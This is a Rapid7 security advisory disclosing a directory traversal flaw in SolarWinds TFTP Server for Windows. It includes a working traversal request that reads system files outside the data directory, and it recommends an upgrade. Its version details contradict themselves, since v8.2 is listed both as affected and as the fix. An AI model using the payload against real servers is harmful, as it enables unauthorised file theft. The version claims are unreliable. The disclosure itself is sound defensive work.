Rapid7 Advisory R7-0019: Directory traversal vulnerability in SolarWinds TFTP Server for Windows
April 24, 2006 - Rapid7 has found a directory traversal vulnerability in SolarWinds TFTP Server for Windows. This vulnerability allows remote users to download any files outside of the server's TFTP data directory.
- SolarWinds TFTP Server v8.1 and earlier
- SolarWinds TFTP Server v8.2
Vendor was notified of this vulnerability. The vulnerability is not present in the newest version of TFTP Server version 8.2, released in September 2005.
TFTP servers are often used to transfer configuration files and operating system images to routers. TFTP is also used for devices that support PXE booting.
Most implementations do trivial filtering on requested filenames such as "../filename" to prevent easy directory traversal. However, it is easy to bypass this filtering by manipulating the filename being requested.
With the SolarWinds TFTP server, any file on the system can be downloaded using a request similar to the following:
$ tftp 192.168.0.1
tftp> get NUL/....//....//WINNT/win.ini
Received 582 bytes in 0.0 seconds
$ cat win.ini
; for 16-bit app support
Upgrade to TFTP Server version 8.2 or later.
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